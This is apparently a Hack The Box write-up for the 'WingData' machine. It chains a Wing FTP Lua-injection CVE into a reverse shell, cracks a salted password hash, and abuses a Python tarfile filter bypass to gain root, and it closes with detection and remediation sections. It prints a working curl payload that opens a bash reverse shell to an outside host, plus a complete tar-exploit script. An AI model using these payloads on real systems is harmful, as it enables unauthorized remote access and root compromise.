Skip to content
Back to all posts

HTB: WingData

· 18 min medium Windows WingData

A NULL byte in Wing FTP Server's login handler triggers Lua code injection for unauthenticated RCE, then a Python tarfile data filter bypass via PATH_MAX overflow writes an SSH key to root.

Overview

WingData is an Easy-rated Linux machine running Wing FTP Server v7.4.3 Free Edition behind Apache on Debian. Despite the “Easy” rating, the exploitation chain touches on two interesting vulnerability classes: a NULL byte injection that turns a Lua-based authentication handler into a code execution primitive, and a PATH_MAX overflow that bypasses Python 3.12’s tarfile data filter.

The attack begins with CVE-2025-47812: a NULL byte in the username field of Wing FTP’s web login terminates the username lookup at the C layer, but the Lua interpreter processes the remainder as executable code. Two HTTP requests yield a reverse shell as wingftp (uid 1000). From there, the server’s settings.xml reveals a static global password salt (WingFTP), and FTP user configuration files contain SHA-256 hashes. The wacky user’s hash cracks in under five seconds on a consumer GPU. The FTP password is reused for SSH.

Privilege escalation exploits CVE-2025-4138: a path traversal bypass in Python’s tarfile data filter. The filter relies on os.path.realpath() for symlink resolution, but realpath() silently stops resolving when the total path exceeds PATH_MAX (4096 bytes). A crafted tar archive with 16 layers of long-named directories and single-character symlinks pushes the resolved path beyond this limit, allowing arbitrary file writes as root.

Reconnaissance

nmap -sV -sC -A -T4 -oA nmap_wingdata 10.129.15.14
PortServiceProduct / VersionNotes
22SSHOpenSSH 9.2p1 DebianStandard Debian 12 package
80HTTPApache httpd 2.4.66Static marketing site “WingData Solutions”

Two services. The main site has a “Client Portal” link pointing to ftp.wingdata.htb. Adding both hostnames to /etc/hosts and visiting the Client Portal reveals Wing FTP Server v7.4.3 Free Edition (version in footer).

Attack Surface Analysis

Wing FTP Server processes web client logins through a Lua-based authentication handler. The handler does not sanitise NULL bytes. When %00 appears in the username, C string functions terminate the username lookup at the NULL, but the Lua interpreter continues processing the remainder as code. The os.execute() function is available in the Lua environment, providing command execution.

The exploit requires exactly two HTTP requests: the first sends the payload and receives a session UID cookie; the second makes any authenticated request to trigger execution.

Vulnerability Analysis

CVE-2025-47812: Wing FTP Lua Injection

AttributeValue
CVECVE-2025-47812
CVSS 3.110.0 (AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H)
CWECWE-94 (Code Injection)
AffectedWing FTP Server v7.4.3
PrerequisiteUnauthenticated

The payload structure: anonymous (valid username terminated by NULL), %00]] (closes Lua string context), Lua code body (os.execute(...)), trailing Lua comment (--) to consume residual syntax.

CVE-2025-4138: Python tarfile PATH_MAX Bypass

AttributeValue
CVECVE-2025-4138
CVSS 3.18.8 (AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
CWECWE-22 (Path Traversal)
AffectedPython < 3.12.11, < 3.13.4
PrerequisiteLocal user with sudo access to a script using tarfile.extractall(filter="data")

The data filter calls os.path.realpath() to resolve symlinks before checking path boundaries. When the resolved path exceeds 4096 bytes, realpath() returns a partially-resolved path. The filter approves extraction because the truncated path appears to fall within the destination. The kernel’s actual file operations still follow the real symlinks.

Exploitation

Initial access: Lua injection RCE

Start a listener, then send the two-request exploit:

# Request 1: Lua injection via login
curl -v -X POST 'http://ftp.wingdata.htb/loginok.html' \
  -d 'username=anonymous%00]]%0dos.execute("bash+-c+'\''bash+-i+>%26+/dev/tcp/10.10.14.5/4444+0>%261'\''")%0d--&password=' \
  -c cookies.txt

# Request 2: Trigger execution
curl -X POST 'http://ftp.wingdata.htb/dir.html' \
  -b cookies.txt -d 'path=/'
$ nc -lvnp 4444
Connection from 10.129.15.14:48372
wingftp@wingdata:/opt/wftpserver$ id
uid=1000(wingftp) gid=1000(wingftp) groups=1000(wingftp)

Wing FTP creates a session file per exploit attempt. After roughly 10 to 15 rapid attempts, the server stops returning valid cookies. It recovers after about 5 minutes. Keep exploit attempts to a minimum.

Credential extraction and SSH

From the wingftp shell, I extract the password salt from settings.xml:

grep -E "Salt|PasswordHash" /opt/wftpserver/settings.xml
# <SaltingString>WingFTP</SaltingString>
# <PasswordHashType>SHA256</PasswordHashType>

FTP user configuration files under /opt/wftpserver/Data/1/users/ contain SHA-256 hashes. All non-anonymous configs are world-writable (0666). The wacky user’s hash cracks with hashcat mode 1410 (sha256($pass.$salt)):

echo "8d969eef...c6c92:WingFTP" > hash.txt
hashcat -m 1410 hash.txt /usr/share/wordlists/rockyou.txt
# Cracked in 2 seconds: !#7Blushing^*Bride5

The FTP password is reused for SSH:

ssh [email protected]
# Password: !#7Blushing^*Bride5

User flag obtained.

Privilege escalation: tarfile data filter bypass

The user wacky has a passwordless sudo rule:

(root) NOPASSWD: /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py *

The script extracts user-supplied tar archives with filter="data". Python version is 3.12.3, within the affected range.

I build a malicious tar archive with a PATH_MAX bypass. The archive contains four stages: 16 directory/symlink pairs that inflate the resolved path length to ~3952 bytes; a pivot symlink with ../ traversal that pushes past 4096; an escape symlink to /root/.ssh; and the authorized_keys payload.

#!/usr/bin/env python3
"""CVE-2025-4138 exploit: PATH_MAX bypass for tarfile data filter."""
import tarfile, io

TAR_OUTPUT = "exploit.tar"
NUM_LEVELS = 16
DIR_NAME_LEN = 247
SYMLINK_CHARS = "abcdefghijklmnop"

with open("wingdata_root.pub") as f:
    pubkey = f.read().strip() + "\n"

tar = tarfile.open(TAR_OUTPUT, "w")

# Stage 1: Long dir + short symlink pairs
for i in range(NUM_LEVELS):
    long_dir = "d" * DIR_NAME_LEN
    prefix = "/".join(SYMLINK_CHARS[:i]) if i > 0 else ""
    dir_path = (prefix + "/" + long_dir) if prefix else long_dir
    link_path = (prefix + "/" + SYMLINK_CHARS[i]) if prefix else SYMLINK_CHARS[i]

    d = tarfile.TarInfo(name=dir_path); d.type = tarfile.DIRTYPE; d.mode = 0o755
    tar.addfile(d)
    l = tarfile.TarInfo(name=link_path); l.type = tarfile.SYMTYPE; l.linkname = long_dir
    tar.addfile(l)

# Stage 2: Pivot symlink
short_chain = "/".join(SYMLINK_CHARS[:NUM_LEVELS])
pivot = tarfile.TarInfo(name=short_chain + "/" + "l" * 254)
pivot.type = tarfile.SYMTYPE; pivot.linkname = "../" * NUM_LEVELS
tar.addfile(pivot)

# Stage 3: Escape symlink
escape = tarfile.TarInfo(name=short_chain + "/m")
escape.type = tarfile.SYMTYPE; escape.linkname = "l" * 254 + "/root/.ssh"
tar.addfile(escape)

# Stage 4: Payload
payload = pubkey.encode()
p = tarfile.TarInfo(name=short_chain + "/m/authorized_keys")
p.size = len(payload); p.mode = 0o600
tar.addfile(p, io.BytesIO(payload))
tar.close()

Transfer and execute:

scp exploit.tar [email protected]:/tmp/
ssh [email protected]
sudo /usr/local/bin/python3 /opt/backup_clients/restore_backup_clients.py /tmp/exploit.tar

No error output. The data filter approved the extraction because realpath() returned a truncated path. SSH as root:

ssh -i wingdata_root [email protected]
# uid=0(root) gid=0(root)

Root flag obtained.

Post-Exploitation

System enumeration confirmed Debian 12 (kernel 6.1.0-42-amd64), two local users (wingftp uid 1000, wacky uid 1001), and standard SUID binaries with no unusual capabilities or cron jobs. Wing FTP runs from /opt/wftpserver/ with internal services on ports 5466 (SFTP, localhost only), 8080 (admin panel, localhost only), and 42889.

Thirteen failed approaches were documented, including direct tar path traversal (caught by the data filter), absolute symlinks (caught), PAX header overrides (caught), and PYTHONPATH hijacking (blocked by env_reset in sudoers).

Defensive Analysis

PhaseMITRE ATT&CKDetection
Initial AccessT1190 Exploit Public-Facing AppPOST to /loginok.html with %00 in username
ExecutionT1059.004 Unix ShellLua os.execute() spawns bash reverse shell
ExecutionT1059.006 Pythonsudo python3 tarfile extraction
Credential AccessT1552.001 Credentials in FilesWing FTP user XML configs and settings.xml
Credential AccessT1110.002 Password Crackinghashcat SHA-256 salted hash cracking
Lateral MovementT1021.004 SSHFTP password reused for SSH
PersistenceT1098.004 SSH Authorized KeysWrote attacker key to /root/.ssh/authorized_keys
Privilege EscalationT1548.003 Sudo/Sudo CachingNOPASSWD sudo rule for tar extraction script

The primary detection opportunity is on the Wing FTP login. Any username containing %00, os.execute, or io.popen is a definitive indicator of Lua injection. A SIEM rule on the web access log for these patterns would catch the attack at the initial access phase.

Remediation

PriorityActionEffortImpact
P0Upgrade Wing FTP Server to >= 7.4.4 (patches CVE-2025-47812)LowCritical
P0Upgrade Python to >= 3.12.11 or >= 3.13.4 (patches CVE-2025-4138)LowCritical
P0Remove NOPASSWD sudo rule for restore scriptLowCritical
P1Migrate password hashing to argon2id with per-user random saltsMediumHigh
P1Fix FTP user config permissions from 0666 to 0640 (root:wingftp)LowMedium
P2Deploy SSH key-based auth; disable password auth for all accountsMediumMedium
P3Deploy auditd rules on Wing FTP user config directoryLowLow

The tarfile data filter bypass is particularly concerning because it affects a security mechanism that developers trust. The fix is straightforward (upgrade Python), but the deeper lesson is that user-controlled archives should never be extracted as root, regardless of what filtering is applied. The sudo rule should be removed entirely, and the restore operation should run as an unprivileged service account.

Key Takeaways

  1. NULL byte injection still works in 2025. The boundary between C string handling and higher-level language interpreters remains a fertile source of bugs. Wing FTP’s Lua handler trusts C-terminated string length for username lookup while Lua processes the full buffer.

  2. PATH_MAX is a security boundary that realpath() does not enforce. When the resolved path exceeds 4096 bytes, realpath() returns a non-canonical result. Python’s tarfile data filter inherits this limitation. Any security check that depends on realpath() for path canonicalisation is vulnerable to the same bypass.

  3. Static salts provide negligible protection. SHA-256 with a global salt (WingFTP) means the entire rockyou wordlist is tested in under 5 seconds on consumer hardware. Per-user random salts combined with a proper KDF (argon2id, bcrypt) would increase the cost by orders of magnitude per account.